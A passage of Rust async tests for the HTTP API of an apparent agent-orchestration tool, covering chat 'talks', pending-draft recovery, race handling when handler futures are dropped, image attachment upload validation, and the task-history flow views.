9150 body["status"], "open",
9151 "filing a task does not close a talk"
9152 );
9153 let tasks = body["tasks"].as_array().expect("tasks array");
9154 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9155 assert_eq!(tasks[0]["id"], mine.id);
9156 }
9157
9158 #[tokio::test]
9159 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9160 let (_tmp, _repo, f) = talk_fixture().await;
9161 let id = f.post("/api/talks", None).await.json()["id"]
9162 .as_str()
9163 .expect("id")
9164 .to_owned();
9165
9166 let res = f
9167 .post(
9168 &format!("/api/talks/{id}/say"),
9169 Some(r#"{"text":"what does the queue module do?"}"#),
9170 )
9171 .await;
9172 assert_eq!(res.status, 202, "{}", res.body);
9173 let queued = res.json();
9174 let turns = queued["turns"].as_array().expect("turns array");
9175 assert_eq!(
9176 turns.len(),
9177 1,
9178 "the answer reflects only what is on disk the instant it is sent, \
9179 before the agent's turn - which can run for the whole of \
9180 `[graph] timeout_talk` - has a chance to land: {queued}"
9181 );
9182 assert_eq!(turns[0]["who"], "operator");
9183 assert_eq!(turns[0]["body"], "what does the queue module do?");
9184 assert_eq!(
9185 queued["thinking"], true,
9186 "the accepted response exposes the background turn claim: {queued}"
9187 );
9188
9189 let mut turns_after = 1;
9190 for _ in 0..SETTLE_STEPS {
9191 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9192 turns_after = detail["turns"].as_array().expect("turns array").len();
9193 if turns_after == 2 {
9194 break;
9195 }
9196 tokio::time::sleep(Duration::from_millis(10)).await;
9197 }
9198 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9199 }
9200
9201 #[tokio::test]
9228 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9229 let tmp = TempDir::new().expect("tempdir");
9230 let repo = tmp.path().join("repo");
9231 std::fs::create_dir_all(&repo).expect("repo dir");
9232 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9233 let home = TempDir::new().expect("temp home");
9234 let talks = Talks::at(home.path().join("talks"));
9235 let ui = Arc::new(
9236 Ui::new(
9237 Queue::at(home.path().join("queue")),
9238 Questions::at(home.path().join("questions")),
9239 talks.clone(),
9240 home.path().join("runs"),
9241 home.path().to_path_buf(),
9242 repo.clone(),
9243 )
9244 .with_worktrees_root(home.path().join("wt")),
9245 );
9246 let cfg = config_for(&repo).await.expect("discover config");
9247
9248 for delay in 0..40u32 {
9249 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9250 let id = talk.id.clone();
9251
9252 let handler = tokio::spawn(talk_say(
9253 State(Arc::clone(&ui)),
9254 Path(id.clone()),
9255 Ok(Json(NewTalkTurn {
9256 text: "what does the queue module do?".to_owned(),
9257 attachments: Vec::new(),
9258 })),
9259 ));
9260 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9261 handler.abort();
9262 let _ = handler.await;
9265
9266 let mut turns = 0;
9267 for _ in 0..SETTLE_STEPS {
9268 if let Ok(fresh) = talks.get(&id) {
9269 turns = fresh.turns.len();
9270 if turns != 1 {
9271 break;
9272 }
9273 }
9274 tokio::time::sleep(Duration::from_millis(10)).await;
9275 }
9276 assert_ne!(
9277 turns, 1,
9278 "delay {delay}: talk {id} recorded the operator's turn but \
9279 the agent never answered - the reply task was never \
9280 started after the handler future was dropped"
9281 );
9282 }
9283 }
9284
9285 #[tokio::test]
9330 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9331 let tmp = TempDir::new().expect("tempdir");
9332 let repo = tmp.path().join("repo");
9333 std::fs::create_dir_all(&repo).expect("repo dir");
9334 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9335 let home = TempDir::new().expect("temp home");
9336 let talks = Talks::at(home.path().join("talks"));
9337 let ui = Arc::new(
9338 Ui::new(
9339 Queue::at(home.path().join("queue")),
9340 Questions::at(home.path().join("questions")),
9341 talks.clone(),
9342 home.path().join("runs"),
9343 home.path().to_path_buf(),
9344 repo.clone(),
9345 )
9346 .with_worktrees_root(home.path().join("wt")),
9347 );
9348 let cfg = config_for(&repo).await.expect("discover config");
9349
9350 for attempt in 0..3u32 {
9351 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9352 let id = talk.id.clone();
9353 let turn_guard = ui
9356 .begin_talk_turn(&id)
9357 .expect("claim the turn")
9358 .expect("a fresh talk owes nobody a turn");
9359
9360 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9361 let (release_tx, release_rx) = std::sync::mpsc::channel();
9362 ui.set_busy_queue_gate(BusyQueueGate {
9363 reached: reached_tx,
9364 release: release_rx,
9365 });
9366
9367 let handler = tokio::spawn(talk_say(
9368 State(Arc::clone(&ui)),
9369 Path(id.clone()),
9370 Ok(Json(NewTalkTurn {
9371 text: "what does the queue module do?".to_owned(),
9372 attachments: Vec::new(),
9373 })),
9374 ));
9375
9376 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9381 .await
9382 .unwrap_or_else(|_| {
9383 panic!(
9384 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9385 )
9386 })
9387 .expect("the busy branch dropped the gate without using it");
9388
9389 let running = talks.get(&id).expect("reload talk");
9396 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9397
9398 handler.abort();
9402 let _ = handler.await;
9403
9404 let _ = release_tx.send(());
9410
9411 let mut fresh = talks.get(&id).expect("reload talk");
9414 for _ in 0..SETTLE_STEPS {
9415 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9416 break;
9417 }
9418 tokio::time::sleep(Duration::from_millis(10)).await;
9419 fresh = talks.get(&id).expect("reload talk");
9420 }
9421 assert!(
9422 fresh.pending.is_empty() && fresh.turns.len() == 2,
9423 "attempt {attempt}: talk {id} left the operator's text queued \
9424 with no drainer - the reclaimed turn was dropped along with \
9425 the handler future (pending {:?}, {} turns)",
9426 fresh.pending,
9427 fresh.turns.len()
9428 );
9429 }
9430 }
9431
9432 #[tokio::test]
9433 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9434 let (_tmp, _repo, f) = talk_fixture().await;
9435 let id = f.post("/api/talks", None).await.json()["id"]
9436 .as_str()
9437 .expect("id")
9438 .to_owned();
9439 let store = f.talks();
9440 let mut recovered = store.get(&id).expect("opened talk");
9441 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9442 .expect("persist pending draft without a live turn");
9443
9444 let edited = f
9445 .post(
9446 &format!("/api/talks/{id}/pending/edit"),
9447 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9448 )
9449 .await;
9450 assert_eq!(edited.status, 200, "{}", edited.body);
9451 assert!(edited.json()["thinking"].as_bool().unwrap());
9452
9453 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9454 for _ in 0..SETTLE_STEPS {
9455 if detail["turns"].as_array().expect("turns").len() == 2 {
9456 break;
9457 }
9458 tokio::time::sleep(Duration::from_millis(10)).await;
9459 detail = f.get(&format!("/api/talks/{id}")).await.json();
9460 }
9461 let turns = detail["turns"].as_array().expect("turns");
9462 assert_eq!(
9463 turns.len(),
9464 2,
9465 "the recovered draft must run once: {detail}"
9466 );
9467 assert_eq!(turns[0]["body"], "corrected");
9468 assert_eq!(detail["pending"], "");
9469 }
9470
9471 #[tokio::test]
9472 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9473 let tmp = TempDir::new().expect("tempdir");
9474 let repo = tmp.path().join("repo");
9475 std::fs::create_dir_all(&repo).expect("repo dir");
9476 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9477 let f = Fixture::with_repo(repo).await;
9478 let id = f.post("/api/talks", None).await.json()["id"]
9479 .as_str()
9480 .expect("id")
9481 .to_owned();
9482 let store = f.talks();
9483 let mut recovered = store.get(&id).expect("opened talk");
9484 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9485 .expect("persist pending draft without a live turn");
9486
9487 let refused = f
9488 .post(
9489 &format!("/api/talks/{id}/say"),
9490 Some(r#"{"text":"new message"}"#),
9491 )
9492 .await;
9493 assert_eq!(refused.status, 409, "{}", refused.body);
9494 assert!(refused.body.contains("resume"), "{}", refused.body);
9495 let saved = store.get(&id).expect("draft remains after refusal");
9496 assert!(saved.turns.is_empty());
9497 assert_eq!(saved.pending, "saved before restart");
9498
9499 let say_path = format!("/api/talks/{id}/say");
9500 let (first, second) = tokio::join!(
9501 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9502 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9503 );
9504 assert_eq!(first.status, 409, "{}", first.body);
9505 assert_eq!(second.status, 409, "{}", second.body);
9506 let saved = store
9507 .get(&id)
9508 .expect("draft remains after concurrent refusals");
9509 assert!(saved.turns.is_empty());
9510 assert_eq!(saved.pending, "saved before restart");
9511
9512 let resumed = f
9513 .post(&format!("/api/talks/{id}/pending/resume"), None)
9514 .await;
9515 assert_eq!(resumed.status, 202, "{}", resumed.body);
9516 let duplicate = f
9517 .post(&format!("/api/talks/{id}/pending/resume"), None)
9518 .await;
9519 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9520
9521 for _ in 0..SETTLE_STEPS {
9522 if store.get(&id).expect("talk").turns.len() == 2 {
9523 break;
9524 }
9525 tokio::time::sleep(Duration::from_millis(10)).await;
9526 }
9527 let finished = store.get(&id).expect("finished talk");
9528 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9529 assert_eq!(finished.turns[0].body, "saved before restart");
9530 assert!(finished.pending.is_empty());
9531 }
9532
9533 #[tokio::test]
9534 async fn an_image_only_recovered_draft_resumes_without_text() {
9535 let (_tmp, _repo, f) = talk_fixture().await;
9536 let id = f.post("/api/talks", None).await.json()["id"]
9537 .as_str()
9538 .expect("id")
9539 .to_owned();
9540 let uploaded = f
9541 .post_bytes(
9542 &format!("/api/talks/{id}/attachments"),
9543 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9544 PNG_BYTES,
9545 )
9546 .await;
9547 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9548 let attachment = f
9549 .talks()
9550 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9551 .expect("attachment metadata")
9552 .expect("stored attachment");
9553 let store = f.talks();
9554 let mut recovered = store.get(&id).expect("opened talk");
9555 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9556
9557 let resumed = f
9558 .post(&format!("/api/talks/{id}/pending/resume"), None)
9559 .await;
9560 assert_eq!(resumed.status, 202, "{}", resumed.body);
9561 for _ in 0..SETTLE_STEPS {
9562 if store.get(&id).expect("talk").turns.len() == 2 {
9563 break;
9564 }
9565 tokio::time::sleep(Duration::from_millis(10)).await;
9566 }
9567 let finished = store.get(&id).expect("finished talk");
9568 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9569 assert!(finished.turns[0].body.is_empty());
9570 assert_eq!(finished.turns[0].attachments.len(), 1);
9571 assert!(finished.pending_attachments.is_empty());
9572 }
9573
9574 #[tokio::test]
9575 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9576 let (_tmp, _repo, f) = talk_fixture().await;
9577 let id = f.post("/api/talks", None).await.json()["id"]
9578 .as_str()
9579 .expect("id")
9580 .to_owned();
9581 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9582 assert_eq!(closed.status, 200, "{}", closed.body);
9583 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9584 .expect("serialize closed talk");
9585 for (path, body) in [
9586 (format!("/api/talks/{id}/pending/resume"), None),
9587 (
9588 format!("/api/talks/{id}/pending/clear"),
9589 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9590 ),
9591 (
9592 format!("/api/talks/{id}/pending/edit"),
9593 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9594 ),
9595 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9596 ] {
9597 let response = f.post(&path, body).await;
9598 assert_eq!(response.status, 409, "{}", response.body);
9599 }
9600 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9601 .expect("serialize closed talk");
9602 assert_eq!(
9603 after_clear, before_clear,
9604 "clear must not rewrite a closed talk"
9605 );
9606 }
9607
9608 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9611
9612 #[tokio::test]
9613 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9614 let tmp = TempDir::new().expect("tempdir");
9615 let repo = tmp.path().join("repo");
9616 std::fs::create_dir_all(&repo).expect("repo dir");
9617 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9618 let f = Fixture::with_repo(repo).await;
9619 let id_a = f.post("/api/talks", None).await.json()["id"]
9620 .as_str()
9621 .unwrap()
9622 .to_owned();
9623 let id_b = f.post("/api/talks", None).await.json()["id"]
9624 .as_str()
9625 .unwrap()
9626 .to_owned();
9627
9628 let a = f
9629 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9630 .await;
9631 assert_eq!(a.status, 202, "{}", a.body);
9632 assert_eq!(a.json()["thinking"], true);
9633 let b = f
9634 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9635 .await;
9636 assert_eq!(b.status, 202, "{}", b.body);
9637 assert_eq!(b.json()["thinking"], true);
9638
9639 let listed = f.get("/api/talks").await.json();
9640 for id in [&id_a, &id_b] {
9641 let view = listed
9642 .as_array()
9643 .unwrap()
9644 .iter()
9645 .find(|talk| talk["id"] == *id)
9646 .unwrap();
9647 assert_eq!(view["thinking"], true, "{listed}");
9648 }
9649 let repeated = f
9650 .post(
9651 &format!("/api/talks/{id_a}/say"),
9652 Some(r#"{"text":"again"}"#),
9653 )
9654 .await;
9655 assert_eq!(repeated.status, 202, "{}", repeated.body);
9656 assert_eq!(repeated.json()["pending"], "again");
9657 }
9658
9659 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9662
9663 #[tokio::test]
9664 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9665 let f = Fixture::start().await;
9666 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9667
9668 let res = f
9669 .post_bytes(
9670 &format!("/api/talks/{id}/attachments"),
9671 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9672 PNG_BYTES,
9673 )
9674 .await;
9675 assert_eq!(res.status, 201, "{}", res.body);
9676 let body = res.json();
9677 assert_eq!(body["name"], "shot.png");
9678 assert_eq!(body["mime"], "image/png");
9679 assert_eq!(body["bytes"], PNG_BYTES.len());
9680 let att_id = body["id"].as_str().expect("id").to_owned();
9681 assert_eq!(
9682 att_id.len(),
9683 32,
9684 "the id must never be a client-suppliable path: {att_id}"
9685 );
9686
9687 let got = f
9688 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9689 .await;
9690 assert_eq!(got.status, 200, "{}", got.body);
9691 assert_eq!(got.header("content-type"), Some("image/png"));
9692 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9693 assert_eq!(got.bytes, PNG_BYTES);
9694 }
9695
9696 #[tokio::test]
9697 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9698 let f = Fixture::start().await;
9699 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9700
9701 let svg = f
9704 .post_bytes(
9705 &format!("/api/talks/{id}/attachments"),
9706 &[("Content-Type", "image/svg+xml")],
9707 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9708 )
9709 .await;
9710 assert!(
9711 (400..500).contains(&svg.status),
9712 "svg must be refused: {} {}",
9713 svg.status,
9714 svg.body
9715 );
9716 assert!(svg.body.contains("SVG"), "{}", svg.body);
9717
9718 let text = f
9719 .post_bytes(
9720 &format!("/api/talks/{id}/attachments"),
9721 &[("Content-Type", "text/plain")],
9722 b"just some text",
9723 )
9724 .await;
9725 assert!(
9726 (400..500).contains(&text.status),
9727 "an unlisted type must be refused: {} {}",
9728 text.status,
9729 text.body
9730 );
9731
9732 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9735 let big = f
9736 .post_bytes(
9737 &format!("/api/talks/{id}/attachments"),
9738 &[("Content-Type", "image/png")],
9739 &oversized,
9740 )
9741 .await;
9742 assert_eq!(
9743 big.status,
9744 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9745 "{}",
9746 big.body
9747 );
9748 }
9749
9750 #[tokio::test]
9751 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9752 let f = Fixture::start().await;
9753 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9754
9755 let res = f
9758 .post_bytes(
9759 &format!("/api/talks/{id}/attachments"),
9760 &[("Content-Type", "image/png")],
9761 b"<html>not a picture</html>",
9762 )
9763 .await;
9764 assert!((400..500).contains(&res.status), "{}", res.body);
9765 }
9766
9767 #[tokio::test]
9768 async fn an_unknown_attachment_id_is_a_404() {
9769 let f = Fixture::start().await;
9770 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9771
9772 let res = f
9773 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9774 .await;
9775 assert_eq!(res.status, 404, "{}", res.body);
9776 }
9777
9778 #[tokio::test]
9779 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9780 let f = Fixture::start().await;
9781 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9782
9783 let uploaded = f
9784 .post_bytes(
9785 &format!("/api/talks/{id}/attachments"),
9786 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9787 PNG_BYTES,
9788 )
9789 .await;
9790 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9791 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9792
9793 let res = f
9794 .post(
9795 &format!("/api/talks/{id}/say"),
9796 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9797 )
9798 .await;
9799 assert_eq!(res.status, 202, "{}", res.body);
9800 let queued = res.json();
9801 let turns = queued["turns"].as_array().expect("turns array");
9802 assert_eq!(
9803 turns.len(),
9804 1,
9805 "an empty body with an attachment is still a turn: {queued}"
9806 );
9807 assert_eq!(turns[0]["who"], "operator");
9808 assert_eq!(turns[0]["body"], "");
9809 let atts = turns[0]["attachments"]
9810 .as_array()
9811 .expect("attachments array");
9812 assert_eq!(atts.len(), 1);
9813 assert_eq!(atts[0]["id"], att_id);
9814 assert_eq!(atts[0]["mime"], "image/png");
9815
9816 let on_disk = f.talks().get(&id).expect("get");
9819 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9820 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9821 }
9822
9823 #[tokio::test]
9824 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9825 let f = Fixture::start().await;
9826 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9827
9828 let res = f
9829 .post(
9830 &format!("/api/talks/{id}/say"),
9831 Some(&format!(
9832 r#"{{"text":"hi","attachments":["{}"]}}"#,
9833 "a".repeat(32)
9834 )),
9835 )
9836 .await;
9837 assert!((400..500).contains(&res.status), "{}", res.body);
9838 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9839
9840 let on_disk = f.talks().get(&id).expect("get");
9841 assert!(
9842 on_disk.turns.is_empty(),
9843 "a rejected attachment id must not partially record the turn: {:?}",
9844 on_disk.turns
9845 );
9846 }
9847
9848 #[tokio::test]
9849 async fn talk_close_makes_the_talk_refuse_further_turns() {
9850 let f = Fixture::start().await;
9851 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9852
9853 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9854 assert_eq!(closed.status, 200, "{}", closed.body);
9855 assert_eq!(closed.json()["status"], "closed");
9856
9857 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9859 assert_eq!(closed_again.status, 200);
9860 assert_eq!(closed_again.json()["status"], "closed");
9861
9862 let said = f
9863 .post(
9864 &format!("/api/talks/{id}/say"),
9865 Some(r#"{"text":"too late"}"#),
9866 )
9867 .await;
9868 assert_eq!(said.status, 409, "{}", said.body);
9869 }
9870
9871 #[tokio::test]
9872 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9873 let (_tmp, _repo, f) = talk_fixture().await;
9874 let id = f.post("/api/talks", None).await.json()["id"]
9875 .as_str()
9876 .expect("id")
9877 .to_owned();
9878 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9879 assert_eq!(closed.status, 200, "{}", closed.body);
9880
9881 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9882 assert_eq!(reopened.status, 200, "{}", reopened.body);
9883 assert_eq!(reopened.json()["status"], "open");
9884
9885 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9887 assert_eq!(reopened_again.status, 200);
9888 assert_eq!(reopened_again.json()["status"], "open");
9889
9890 let said = f
9891 .post(
9892 &format!("/api/talks/{id}/say"),
9893 Some(r#"{"text":"still there?"}"#),
9894 )
9895 .await;
9896 assert_eq!(
9897 said.status, 202,
9898 "a reopened talk accepts turns again: {}",
9899 said.body
9900 );
9901 }
9902
9903 #[tokio::test]
9904 async fn talk_reopen_on_an_unknown_id_is_404() {
9905 let f = Fixture::start().await;
9906 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9907 assert_eq!(res.status, 404, "{}", res.body);
9908 }
9909
9910 #[tokio::test]
9911 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9912 let f = Fixture::start().await;
9913 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9914
9915 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9916 assert_eq!(deleted.status, 204, "{}", deleted.body);
9917
9918 let after = f.get(&format!("/api/talks/{id}")).await;
9919 assert_eq!(after.status, 404, "{}", after.body);
9920
9921 let listed = f.get("/api/talks").await.json();
9922 assert!(
9923 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9924 "a deleted talk must not linger in the list: {listed}"
9925 );
9926 }
9927
9928 #[tokio::test]
9929 async fn talk_delete_on_an_unknown_id_is_404() {
9930 let f = Fixture::start().await;
9931 let res = f.delete("/api/talks/nonexistent-id").await;
9932 assert_eq!(res.status, 404, "{}", res.body);
9933 }
9934
9935 #[tokio::test]
9939 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9940 let f = Fixture::start().await;
9941 let (a, b, gone) = (
9942 "20260902-140501-aaaa",
9943 "20260902-140502-bbbb",
9944 "20260902-140503-cccc",
9945 );
9946 write_run(&f.runs(), a, RunStatus::Stalled);
9947 let mut review = RunState::new(
9948 PathBuf::from("/repo/magi"),
9949 "main".to_owned(),
9950 "0123456789abcdef".to_owned(),
9951 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9952 .to_owned(),
9953 Config::default(),
9954 );
9955 review.id = b.to_owned();
9956 review.status = RunStatus::Merged;
9957 write_state(&f.runs(), &review);
9958
9959 let mut task = Task::new(
9960 "retry".to_owned(),
9961 "Do the thing".to_owned(),
9962 PathBuf::from("/repo/magi"),
9963 Source::Human,
9964 );
9965 task.start(a.to_owned());
9966 task.stall("quota");
9967 task.start(a.to_owned());
9968 task.start(b.to_owned());
9969 task.start(gone.to_owned());
9970 f.queue().put(&mut task).expect("file the task");
9971
9972 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9973 assert_eq!(res.status, 200, "{}", res.body);
9974 let v = res.json();
9975 let h = v["history"].as_array().expect("history");
9976 assert_eq!(h.len(), 4, "{v}");
9977 assert_eq!(h[0]["kind"], "competition");
9978 assert_eq!(h[0]["status"], "stalled");
9979 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9980 assert_eq!(h[1]["kind"], "resume", "{v}");
9981 assert!(
9982 h[0]["outcome"]
9983 .as_str()
9984 .unwrap()
9985 .contains("unknown. Pass #2"),
9986 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9987 );
9988 assert!(
9989 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9990 "{v}"
9991 );
9992 assert!(
9993 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9994 "an unrecorded cause must not be narrated as an operator park: {v}"
9995 );
9996 assert_eq!(h[2]["kind"], "review");
9997 assert!(
9998 h[2]["description"]
9999 .as_str()
10000 .unwrap()
10001 .contains("magi/aaaa/A")
10002 );
10003 assert_eq!(h[2]["status"], "merged");
10004 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10005 assert_eq!(v["runs_unreadable"], 1);
10006 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10007 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10008 assert_eq!(nodes[4]["note"], "unreadable");
10009 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10010 assert_eq!(v["instruction"], "Do the thing");
10011 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10012
10013 let run = f.get(&format!("/api/runs/{a}")).await.json();
10015 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10016
10017 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10018 }
10019
10020 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10021 let mut s = RunState::new(
10022 PathBuf::from("/repo/magi"),
10023 "main".to_owned(),
10024 "0123456789abcdef".to_owned(),
10025 "Do it".to_owned(),
10026 Config::default(),
10027 );
10028 s.status = status;
10029 edit(&mut s);
10030 s
10031 }
10032
10033 fn flow_task(runs: &[&str]) -> Task {
10034 let mut t = Task::new(
10035 "t".to_owned(),
10036 "Do it".to_owned(),
10037 PathBuf::from("/repo/magi"),
10038 Source::Human,
10039 );
10040 for r in runs {
10041 t.start((*r).to_owned());
10042 }
10043 t
10044 }
10045
10046 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10047 let h = task_history(task, |id| {
10048 states
10049 .iter()
10050 .find(|(i, _)| *i == id)
10051 .and_then(|(_, s)| s.clone())
10052 });
10053 task_flow(task, &h, 5)
10054 }
10055
10056 #[test]
10057 fn flow_opens_with_the_chat_that_queued_the_task() {
10058 let mut t = flow_task(&[]);
10059 t.source = Source::Agent {
10060 run: "a b/c".to_owned(),
10061 node: crate::queue::CHAT_NODE.to_owned(),
10062 };
10063 let f = flow_for(&t, &[]);
10064 assert_eq!(f.nodes[0].key, "chat");
10065 assert_eq!(f.nodes[0].kind, "chat");
10066 assert_eq!(
10067 f.nodes[0].label,
10068 format!("Chat {}", crate::queue::short("a b/c"))
10069 );
10070 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10071 assert_eq!(f.nodes[1].key, "start");
10072 assert_eq!(
10073 f.edges[0],
10074 FlowEdge {
10075 from: "chat".to_owned(),
10076 to: "start".to_owned(),
10077 label: "queued from chat".to_owned(),
10078 attempt: AttemptCost::None,
10079 }
10080 );
10081 }
10082
10083 #[test]
10084 fn flow_has_no_chat_box_for_other_sources() {
10085 for source in [
10086 Source::Human,
10087 Source::Issue {
10088 number: 3,
10089 repo: "o/r".to_owned(),
10090 },
10091 Source::Agent {
10092 run: "20260904-014455-ab12".to_owned(),
10093 node: "implement".to_owned(),
10094 },
10095 ] {
10096 let mut t = flow_task(&[]);
10097 t.source = source;
10098 let f = flow_for(&t, &[]);
10099 assert_eq!(f.nodes[0].key, "start");
10100 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10101 assert!(f.edges.iter().all(|e| e.from != "chat"));
10102 }
10103 }
10104
10105 const FA: &str = "20260902-140501-aaaa";
10106 const FB: &str = "20260902-140502-bbbb";
10107
10108 #[test]
10109 fn flow_follows_blocked_retry_merged_to_done() {
10110 let mut t = flow_task(&[FA, FB]);
10111 t.status = TaskStatus::Done;
10112 let f = flow_for(
10113 &t,
10114 &[
10115 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10116 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10117 ],
10118 );
10119 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10120 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10121 assert_eq!(f.edges.len(), 3);
10122 assert_eq!(f.edges[0].label, "claimed");
10123 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10124 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10125 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10126 assert_eq!(
10127 f.nodes[2].href.as_deref(),
10128 Some("#/runs/20260902-140502-bbbb")
10129 );
10130 assert!(f.nodes[2].decided);
10131 }
10132
10133 #[test]
10134 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10135 let quota = || {
10136 flow_run(RunStatus::Stalled, |s| {
10137 s.quota.push(crate::run::QuotaLoss {
10138 seat: "judge-1".to_owned(),
10139 node: "judge".to_owned(),
10140 at: Timestamp::now(),
10141 reset: None,
10142 })
10143 })
10144 };
10145 let mut t = flow_task(&[FA, FA]);
10146 t.status = TaskStatus::Queued;
10147 let f = flow_for(&t, &[(FA, Some(quota()))]);
10148 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10149 assert_eq!(f.nodes[1].note, Some("interrupted"));
10150 assert_eq!(
10151 f.nodes[1].status, None,
10152 "no outcome copied onto an earlier pass"
10153 );
10154 assert_eq!(
10155 f.edges[1].attempt,
10156 AttemptCost::Unknown,
